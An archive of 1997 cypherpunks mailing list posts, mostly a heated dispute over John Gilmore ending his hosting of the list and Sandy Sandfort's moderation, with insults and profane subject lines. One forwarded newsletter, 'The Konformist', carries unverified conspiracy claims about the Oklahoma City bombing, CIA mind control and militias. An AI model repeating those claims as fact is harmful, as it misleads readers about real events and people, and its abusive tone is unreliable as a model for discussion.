subscribe the entire US Congress to the list, and debating the seventy
or eighty "obvious right ways" to handle the list.

This is a "put up or shut up" to the cypherpunks community.

Either you list denizens will, among yourselves, put in the energy to
build a new home for the list (and run it in whatever way your
volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

The next ten days of moderated discussion, through the end of the
original experiment, will give the community a chance to discuss
whether and where it plans to host the list after the experiment is
over.  My feeling is that the stalkers who have been trying to shut it
down (Dimitri, etc) will be out in full force, trying to disrupt the
process of finding a new home.  It would be very hard to make progress
along that line in an unmoderated list.  Cypherpunks-unedited readers
are welcome to try.

Sandy reports that he's changing his criteria for moderation for the
remainder of the experiment.  It was his idea, and I approve.  The
criteria now are:

	*  The topics of the list are:
		cryptography
		setting up replacements for cypherpunks@toad.com
	*  On-topic, legal, posts will go to the list.
	*  Postings with any hint of legal liability (in Sandy's opinion)
	   will be silently ignored.
	*  Legal but off-topic posts will go to cypherpunks-flames.

Sandy will apply these criteria retroactively to the backlog (of about
140 messages), which means that most recent criticisms of the
moderation (which don't invove someone volunteering to do things for
the list) will go straight to the flames list.  If you don't like it,
I recommend that you start your own list.  Soon.

For me it's a sad thing that the community's willingness to pull
together has degenerated to the point where I feel better off
separating from the list.  I hope that others in the community will
create one or several alternatives that work better.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "HEROES::FITZGERALD    7-FEB-1997 14":HEROES::FITZGERALD.7-FEB-1997.14:18:16.47
Date: Tue, 11 Feb 1997 06:43:42 -0800 (PST)
To: SCHMELZ
Subject: No Subject
Message-ID: <199702111443.GAA20442@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


           From: "Curt Denny" <adr016@clc.cc.il.us>

The heaviest element known to science was recently discovered by GM
Research physicists.  The element, tentatively named Administratium, has
no protons or electrons and thus has an atomic number of zero.  However,
it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and
111 assistant vice neutrons.  This gives it an atomic number of 312. 
These particles are held together by a force that involves the
continuous exchange of meson-like particles known as morons.

Since it has no electrons, Administratium is inert.  However, it can be
detected chemically because it impedes every reaction it comes in
contact with.  According to the discoverers, a minute amount of
Administratium caused one reaction to take four days to complete when it
would have normally occurred in less than one second.  Administratium
has a normal half-life of approximately three years, at which time it
does not actually decay, but instead undergoes a reorganization in which
assistant neutrons exchange places.  Some studies have shown that the
atomic mass actually increases after each organization.

Research at other laboratories indicates that Administratium occurs
naturally in the atmosphere.  It tends to concentrate at certain points
such as government agencies, large corporations and universities, and
can usually be found in the newest, best appointed and best maintained
buildings.

Scientists point out that Administratium is known to be toxic at any
detectable level of concentratitroy any productive
reaction where it is allowed to accumulate.  Attempts are being made to
determine how Administratium can be controlled to prevent irreversible
damage, but results to date are not promising. 

                               Check us out at:
                           http://www.clc.cc.il.us


     "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!"

Curtis L. Denny
College of Lake County
Director of Admission and Records
19351 West Washington Street
Grayslake, IL 60030-1198
Phone:  (847) 223-6601, Ext. 2384
Fax:    (847) 223-1017
E-Mail:  CurtDenny@clc.cc.il.us





---2143972336-1320482045-855671591=:18392--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 08:58:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111658.IAA22392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> You have probably just read John's post.  I truly hope YOU (each
> and every one of you) can rise to his challenge.  If you have
> offered nothing in the past but criticism, it's now time to get a
> bit more real.  What will it be, your money, time, equipment?

What challenge?  An offer to break code for money?  Not likely,
is it?

> I would hope that the loudest advocates of "free speech" turn out
> to be the most generous, but I'm not holding my breath.  Maybe
> the solution(s) will come from you lurkers.  I hope you can put
> down your beer long enough to get involved.

Generous with what?  Get involved with crypto?  That's why they're
here in the first place, yes?

> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

I think they already talked about it, and the decision is in.  What
does "off-topic" mean? Does it mean further criticism will be censored?

> P.S. To all those people who privately supported me in my attempt
>      to help the list deal with its problems, thank you.

Help the list?  You almost destroyed the list.  If you wanted to
help, you should have provided lessons on filtering.

> I wouldn't have come back without your and John's encouragement.

A lot of people wish you hadn't come back.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 08:56:36 -0800 (PST)
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111656.IAA22315@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Brad Dolan wrote:
> How do you encourage people to use resources more-or-less wisely?
> 1.  The socialist/nanny model - take charge and give 'em orders
> We've tried that and it apparently didn't work out.
> 2.  The market model - charge people for what they use
> A while back, omebody suggested a system which would be self-funding, by
> charging people for each post they made.  Maybe we should try it?  If
> each little piece of ASCII art cost a poster a buck or two to send, he
> might send fewer.  On the other hand, we don't want to discourage
> interesting posters, so I think some system to reimburse interesting
> posters would be useful.
> I'm not the guy to set up the system, but I'll happily buy a modest amount
> of "posting tickets."

When you're a spy, you usually pay for info.  In John's case, he's
been getting the info for free.  Now you're suggestion he charge
people for providing him the info.  This is not the direction John
wants to go.  He just wants cleaner info, that's all.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Tue, 11 Feb 1997 06:58:30 -0800 (PST)
Subject: The Konformist: Viewer Mail
Message-ID: <199702111458.GAA20706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

The following comments are from Alex Constantine.

Subj: Jon Rappaport's Frauds

Date: 97-01-27 14:29:28 EST

From: alex@mach1.directnet.com (Alex Constantine)



        I want you to know I have no faith whatsoever in Rappaport. His

"book" on the CIA and mind control is actually a file of transcripts

compiled by Valerie Wolf, a New Orleans therapist. Rappaport wrote a

five-page introduction, and he has since claimed ad nauseum that he is the

"author" of the book. He is not. He did not even edit it. The material was

used to advance his own career, and published as is. Yet he still claims he

is the book's "author," and never corrects the many introductions in which

he is credited with having "written" the thing. This is a fraud. His book

on the OK bombing has its own problems, among them a reliance on General

Partin of the Birch Society, discussed in my story on Calspan & McVeigh,

and other dubious sources. This is not to say the book is totally false,

but much of it does not check out. Rappaport also fawns over Bo Gritz. Need

I say more?

Robalini's Note: My sole experiences with Jon Rappaport is interviewing him
on the phone and through my work with Jack Herer and the Hemp Legalization
movement.  Thief or not, Rappaport has a good collection of interesting info
he's written about.  As for General Partin and Bo Gritz, I take their
information for what it is worth, and often it is worth a lot.

Also from big Al:


>>1)  Alex Constantine, in his piece, has, to a degree, implied that McVeigh

is

>>guilty as charged but was brainwashed.

>

>        I said specifically he was "monitored." I don't know if he was

>brainwashed, and neither do you, but there is some evidence to support his

>claim that he was implanted. Other killers in the article were NOT

>brainwashed, and I did NOT "imply" that they were. Sweeny, the killer of

>Allard Lowenstein, was ANGRY, not "brainwashed." The freeway killer in San

>Francisco was NOT brainwashed, but ANGRY. The only brainwashed figure in

>the story was Dan White. McVeigh was ANGRY, not BRAINWASHED.

>

>> Personally, I have some very serious

>>doubts of his guilt, to say the least. I suspect McVeigh, though involved

>>with the people who did the bombing, had no fucking clue what was going
on.

>> In fact, if you check out some other sites (including Tony Sgarlatti's
web

>>page at http://www.future.net/~thetruth/okc.html and the always stupendous

>>Ian Goddard's http://www.erols.com/igoddard/facts.htm) you will soon

discover

>>that the evidence really leans to there being two bombs, and that neither

of

>>them actually came from the truck itself.

>

>        I've talked to Scarlatti. He posted  bogus information, and an

>equally dubious explanation for the bogus information. I know there are

>others involved, and possibly more than one bomb. Your view on the case

>agrees with the militias, who I found to be lying on numerous occasions.

>What I posted was an extract from a much longer story that answers many of

>your questions, and clarifies some of the hazy areas and your

>speculations. McVeigh is no innocent, but your analysis agrees with

>Rappaport, whose book is totally made up of militia postings on the

>Internet.

Robalini's Note: Scarlatti's site, whatever the flaws are to it, is a
mindblower, and should be read for that reason alone.  I may add he's been
very encouraging to The Konformist, and I'm certainly going to burn my
bridges with him.  Still, if you, or anyone else, has any specific criticisms
of his (or other) sites, please let me know and I will forward it.  As for
the militas, well, I've never been into running around in the forest with
guns (though it sounds kind of fun), and I suspect much of that crowd would
hate my guts, but I believe they speak a lot of truth, and that their opinion
needs to be heard.  On the OK Bombing, in particular, they have been
admirable in bringing forth evidence that the corporate media has pretended
doesn't exist.  In fact, if I fault militas members for anything, it is that
they don't go far enough in their condemnation of society, and I think it is
odd that a group which is very much anti-government could fawn over the
military (the most powerful arm of the government) so pathetically.  And,
lets face it, racism and homophobia is quite rampant in the milta crowd (as
it is in the rest of society), so I think there is quite a bit of fraudulence
in many members claims of wanting "less government" and being for "freedom".
 But, hey, if I was going to cut off people who's opinion I disagreed with,
I'd be living in a cave.


Subj:  Re: The Konformist - The Kempler Film
Date:  Sat, 08 Feb, 1997 06:11 PM EDT
From:  density4@cts.com

Greetings Brother Bob,

>>              RABIN ASSASSINATION FILM REVEALS CONSPIRACY
>>                        by Barry Chamish

You're aware, I take it, that Brother Barry Chamish is also fond of writing
articles about UFOs and little grey space aliens.  Don't believe me, check
it out:

        http://www.cco.net/~trufax/ufo/angel.html

-Brother Blue, B:.B:., 33x
 Sacerdotal Knight of National Security, etc.
 http://www.users.cts.com/sd/d/density4/index.html
 E Pluribus Caeruleus -- "Out of many, THAT WHICH IS BLUE"

Robalini's Note: That's fine by me.  I hope to get some UFO articles and the
like out on this list, for, as I've stated before, I think so far The
Konformist has been a little too politically oriented.  I have been told by
many people that that's a bad idea, that I should stick to this niche, but
screw it, if UFO articles bug you, you can kiss my ass.
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 22:01:42 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
Message-ID: <199702120601.WAA07338@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

mpd@netcom.com (Mike Duvos) writes:
> John Gilmore <gnu@toad.com> writes:
>  > Sandy has agreed to continue moderation through the end of the
>  > original 1-month experiment (through Feb 19).  And it's a good
>  > thing, too, because the "cypherpunks community" had better get
>  > off its whining butt in the next ten days, or it will no longer
>  > exist.
> 
> Ten days notice to relocate a high volume mailing list is
> insufficient.  This is yet another ultimatum by a whining coward
> who does not yet realize he is in a battle he is not going to win
> by escalation of reciprocal pissing.
<big, disgusted, snip>

You know, I was vaugley offended by John's comments about whiny
cypherpunks, until I read this message and realized who he was talking
about. John, thank you for your years of service to the cypherpunk
community 9such as it is), and Sandy, thanks for your well-intentioned
(but doomed from day one) efforts to take some resopnsibility for our
current mess. It's too bad things had to end in such a pissy way, but
anyone who wants to dole out blame should realize that in an anarchy,
all members are responsible for the maintainence of freedom.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 22:02:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
Message-ID: <199702120602.WAA07354@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


A Gilmore Supporter writes:

> You know, I was vaugley offended by John's comments about whiny
> cypherpunks, until I read this message and realized who he was talking
> about. John, thank you for your years of service to the cypherpunk
> community 9such as it is), 

John Gilmore's only contribution to Cypherpunks has been to provide
a box.  I can't even remember the last time he contributed something of
interest to the list, and he certainly ranks as one of the least
frequent contributors of substance over the years. 

Any goodwill John might have built up by letting us all use his box
has certainly been eradicated over the last few weeks by his takeover
of the list, and the series of edicts which followed. 

Yes, it was nice of John to donate the use of his box, back in the 
days when he did not feel the urge to exercise unilateral editorial
control.  But if it hadn't been his box, it would have been someone
elses box, and our gratitude towards him shouldn't be so great that
we are willing to sit back and let him do major damage to that which
"Cypherpunks" is supposed to stand for, lest someone claim we are
unappreciative. 

> and Sandy, thanks for your well-intentioned
> (but doomed from day one) efforts to take some resopnsibility for our
> current mess. It's too bad things had to end in such a pissy way, but
> anyone who wants to dole out blame should realize that in an anarchy,
> all members are responsible for the maintainence of freedom.

Sandy, unlike Herr Gilmore, has been a major contributor of substance
to the list since its inception, and hopefully he will continue to be
in the future.  The idea that he should moderate the list was of
course a silly one, but for reasons which do not reflect badly on him
in the least.  

What Mr. Blatz fails to realize is that the "problem" which certain
people tried to solve never really existed.  The quality of the
Cypherpunks list is determined solely by the amount of signal, not
by the amount of noise, unless one is getting ones feed of the 
list via 1200 baud long distance UUCP.  

Anyone can create signal by writing about relevant topics, and if
you feel signal is lacking in your particular area of interest, 
feel free to add some. 

The notion that the list was ever threatened by the humour of Dr. 
Vulis, or the one line bot-spammed insults about Tim May's heritage,
is an absurd one.  No one should have had any problem ignoring such
material, and only a politically naive fool would buy this as the
excuse for the blatant usurpation of the list by Gilmore and crew. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 17 Feb 1997 12:56:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment and moderator liability
Message-ID: <199702172056.MAA13513@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dale Thorn <dthorn@gte.net> writes:
> Adam Back wrote:
> > [summary of events]
> 
> I believe your summary is very accurate except:
> 
> I would add after the paragraph about Dimitri posting the warning
> about C2, that C2's lawyers sent an immediate threatening letter
> to Dimitri.

Agree, that should be added:

15a. Dimitri received a legal notice from C2Net's lawyers about
Dimitri's allegations

> I would change the paragraph about Tim May receiving a warning from
> C2's lawyers to say that Tim May received a warning second-hand that
> anything Tim would say to support or reiterate Dimitri's claims
> would be actionable by C2 as well.

Let's see I wrote:

> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Tim explained the situation in fair detail in his recent post,
explaining, after Sandy's "Absolutely false." retort to my above
claim.  Perhaps my wording could be more accurately changed in the
light of the further explanation from Tim to:

21. Tim was told by a C2Net employee that if he did not desist from
discussing Dimitri's claims about C2Net's StrongHold product, C2Net
would take legal action against him!

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Tue, 11 Feb 1997 08:56:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: sandy who??
Message-ID: <199702111656.IAA22307@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,

i am a new addition on the mailing list. i am amazed to find that half
the mails talk about "sandy (god knows who he is) and he censoring
mails" rather than crypto stuff.

somebody please let me know who sandy is and what exactly is this
censoring issue.

anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jeannie@accucomm.net@accucomm.net
Date: Tue, 11 Feb 1997 20:46:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remove
Message-ID: <199702120446.UAA06473@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please remove our e-mail address from your services we received three 
viruses from erractic re-mail.

Thank You
Allen Woffard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 11 Feb 1997 22:21:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Computer break-ins
Message-ID: <199702120621.WAA07619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

To: cypherpunks@toad.com
Date: Tue Feb 11 22:14:30 1997

      U.S. Experts: Computer Break-Ins Go Unreported    U.S. Experts: 
Computer Break-Ins Go Unreported February 11, 1997, 4:19 PM EST

 WASHINGTON (Reuter) - Security experts said on Tuesday hackers are 
finding it easier to break into computer networks and steal money, 
partly because companies are reluctant to admit that they are 
vulnerable.

 ``If I want to steal money a computer is a much better tool than a 
handgun,'' Daniel Geer, Director of Engineering for Open Market, Inc., 
told a House of Representatives technology subcommittee hearing on 
computer security.

 ``The only way they get caught is if they cross some threshold,'' he 
said. ``They start out stealing $1,000 a day and figure they can get 
away with $2,000 a day and then they get greedy and hit some figure 
which sets off alarm bells.''

 A panel of experts assembled by the subcommittee said many companies 
refuse to report breaches in their security because of they want to 
avoid negative publicity and embarassment.

 ``Most computer crimes are not reported,'' Eugene Spafford of Purdue 
University told the panel. He estimated losses run into ``hundreds of 
millions of dollars'' but said no one really knows since so much goes 
unreported.

 Daniel Farmer, a security consultant, said penetrating a computer 
system was relatively easy. ``Just using simple tests, I could break 
into two-thirds of the systems I tried,'' he said, adding that he could 
easily raise that figure to three-quarters if he wanted.

 Farmer said that during his tests he even discovered a problem with 
the White House World Wide Web site and told the system manager about 
it, but never received a reply.

 ``Defensive programs have been overtaken by offensive programs'' 
developed by hackers, he said.

 Spafford said law enforcement had not been able to keep up with 
advances made by hackers who are able essentially to take over entire 
networks and run them by remote control.

 In addition to banks and corporations, the experts said, government 
secrets can be stolen and threaten national security. They cited recent 
computer network tampering at the Justice Department and the CIA.

 A General Accounting Office study found that there were 250,000 
``hits'' aimed at the Defense Department's computer networks last year 
and 65 percent were successful.

 =A9 Reuters Ltd. All rights reserved. 


     
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 12 Feb 1997 06:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Win '95 disk crypto...
Message-ID: <199702121426.GAA20000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Forwarded message:

 In> Subject: SOFT> Encrypted disks for Windows NT

 In> From: softwinter@post1.com
 In> Date: Mon, 10 Feb 1997 03:13:22 +0200 (IST)

 In> Soft Winter Corporation, February 10, 1997 released:
 In> Shade - strong encryption software for Windows NT.

 In> Shade allows you to create encrypted disk device inside a file.
 In> Such a device can then be formatted using any file system
 In> (like NTFS or FAT) and used as a regular disk. The only difference
 In> is that Shade will encrypt the data on every write operation
 In> and decrypt it on every read operation.

 In> To download  go to: http://softwinter.bitbucket.co.il

 In> Soft Winter Corporation,
 In> softwinter@post1.com


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 06:42:11 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Cocksucker Gilmore's Big Adventure
Message-ID: <199702121442.GAA20431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Eric Cordian <emc@wire.insync.net> writes:
> A Gilmore Supporter writes:
> 
> > You know, I was vaugley offended by John's comments about whiny
> > cypherpunks, until I read this message and realized who he was talking
> > about. John, thank you for your years of service to the cypherpunk
> > community 9such as it is), 
> 
> John Gilmore's only contribution to Cypherpunks has been to provide
> a box.  I can't even remember the last time he contributed something of
> interest to the list, and he certainly ranks as one of the least
> frequent contributors of substance over the years. 

You have obviously never administered a Unix system. Just runing a
machine with a few users requires some effort, I've done it. Managing
a mailing list, especially one this immensly huge, has got to be one
of the bitchliest things on earth. If you think running a majordomo
for cypherpunks is just a matter of "providing a box," why don't you
try it?

> > and Sandy, thanks for your well-intentioned
> > (but doomed from day one) efforts to take some resopnsibility for our
> > current mess. It's too bad things had to end in such a pissy way, but
> > anyone who wants to dole out blame should realize that in an anarchy,
> > all members are responsible for the maintainence of freedom.
> 
> Sandy, unlike Herr Gilmore, has been a major contributor of substance
> to the list since its inception, and hopefully he will continue to be
> in the future.  The idea that he should moderate the list was of
> course a silly one, but for reasons which do not reflect badly on him
> in the least.  
> 
> What Mr. Blatz fails to realize is that the "problem" which certain
> people tried to solve never really existed.  The quality of the
> Cypherpunks list is determined solely by the amount of signal, not
> by the amount of noise, unless one is getting ones feed of the 
> list via 1200 baud long distance UUCP.  

RTFM well-intentioned. And please excuse my lack of gratuitous "scare
quotes." (There, is that better?) List members complained. John said
there was a problem, Sandy belived him and foolishly volunteered to
"moderate" (enough scare quotes for you?) the list.

Maybe John has grown into a crumudgen after his years of taking care
of toad.com, but he's all but out of the picture now. At least he had
the common sence to realize that he was not able to run the list in an
appropriate manner and force a carthises. Better that then to let the
list die out from continuing moderation.

> The notion that the list was ever threatened by the humour of Dr. 
> Vulis, or the one line bot-spammed insults about Tim May's heritage,
> is an absurd one.  No one should have had any problem ignoring such
> material, and only a politically naive fool would buy this as the
> excuse for the blatant usurpation of the list by Gilmore and crew. 

Agreed. I do, after all, read the "unfiltered" list. But you have no
right to tell Mr. Gillmore what to with his machine and his time.
Perhaps 10 days is not enough to get a smooth transition to another
system, but it does have the nice effect of moving people to action.
You could take a look at the literature on social loafing for a full
explanation.

Cordially,
Jeremiah Blatz

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 06:41:23 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121441.GAB20401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
| i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
| and can join.

	While compitition is great (I think this is the second
replacement list?), having multiple cypherpunks lists is a recipie for
confusion and cross-posting, which there is already enough of on
cypherpunks.

	So, I'll make the following suggestion:

	Those who are willing to create lists work together so
that there is a single subscribe address, and a single submit address,
however many exploders exist.

	I would personally prefer to see the name cypherpunks lay
fallow for a while, and suggest cpunks or something similar.

	Note that I'm doing nothing more than making a suggestion.
Take it as my considered enthusiasm for the continuation of
cypherpunks as a list.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 06:41:19 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE MY NAME
Message-ID: <199702121441.GAA20398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE DO NOT FORWARD FURTHER CYPHERPUNKS MESSAGES TO MY E-MAIL ADDRESS.  THANK
YOU.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:41:15 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122141.NAA05971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Against Moderation" writes:
> Your bigotry seriously undermines the effectiveness of any
> anti-censorship arguments you make.  Are you just trying to get
> everyone to hate those who oppose censorship on cypherpunks.  

The relevance and applicability of an anti-censorship argument has
nothing to do with the non-related personal positions of advocates or
opponents of that argument.

Arguments should not be won or lost by the reputation of the arguer
or one risks one's own manipulation by irrelavent data.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

           He who has made a door and a lock, has also made a key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chefren <chefren@pi.net>
Date: Wed, 12 Feb 1997 06:43:08 -0800 (PST)
To: John Gilmore <cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121443.GAA20474@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 11 Feb 97 at 3:54, John Gilmore wrote:

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:


Hm...

In the year 1513 or 1514 someone who could be an Honourable 
Member of this list (if one could be one...) wrote:


> There is nothing more difficult to take in hand, more
> perilous to conduct, or more uncertain in its success,
> than to take the lead in the introduction of a new order
> of things.     <Niccolo Machiavelli, Il Principe>


Please stop at looking too much on how people scream about
your new ideas and continue this list the way you like
it!!!


I think it's Your Machine and we have to respect your
decision to pull the plug, nobody should blame you for
that, but please listen a little to the 1000+ people who
don't scream and are obviously happy with the list and
respected your right to do the "sandy filter experiment".


+++chefren





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 12 Feb 1997 13:41:40 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702122141.NAA05997@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ISP_Ratings writes:
>   I hate censors Dr. Grubor.  Dave says hate is a destructive 
> emotion but when properly channeled it can be quite valuable.

I didn't exactly say that. Hate is merely an absence of harmony,
and destruction is sometimes appropriate. What I did say was that
the best way to strengthen an enemy is to hate them.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

The King decided to force his subjects to tell the truth. Nasrudin was 
first in line.  They asked him, "Where are you going?  Tell the truth
or be hanged"  "I am going," said Nasrudin, "to be hanged on that gallows."  
"I don't believe you."  "Very well, if I have told a lie, then hang me!" 
"But that would make it the truth!" "Exactly," said Nasrudin, "your truth."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Monica Fisher <mfisher@ash.nl>
Date: Wed, 12 Feb 1997 06:43:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: please
Message-ID: <199702121443.GAA20469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Please take mfisher@ash.nl off of your mailing list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Wed, 12 Feb 1997 15:12:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: META: Censorship is Going Way too Far
Message-ID: <199702122312.PAA08296@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


And I was very surprized to see this posting in the flames trash can!!
Tim is just calling the Cypherpunks to task.

Tim, what have you done to deserve such treatment?  What agenda is it that
makes it seem as if the machine hosting this mailing list will be in the wrong
hands?  Like the shadow government?

Sorry they are giving you the Dr. V. treatment!


>From cypherpunks-errors@toad.com Tue Feb 11 05:57:27 1997
>Fellow Cypherpunks (of the virtual community, even if not part of any
>particular version of the list(s)),
Articles are dated:
>
>* 2/7/97, 1:46 p.m. PST
>
>* 2/7/97, 1:59 p.m., PST
>
>* 2/7/97, 3:03 p.m., PST
>
>* 2/7/97, 9:46 p.m., PST 

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






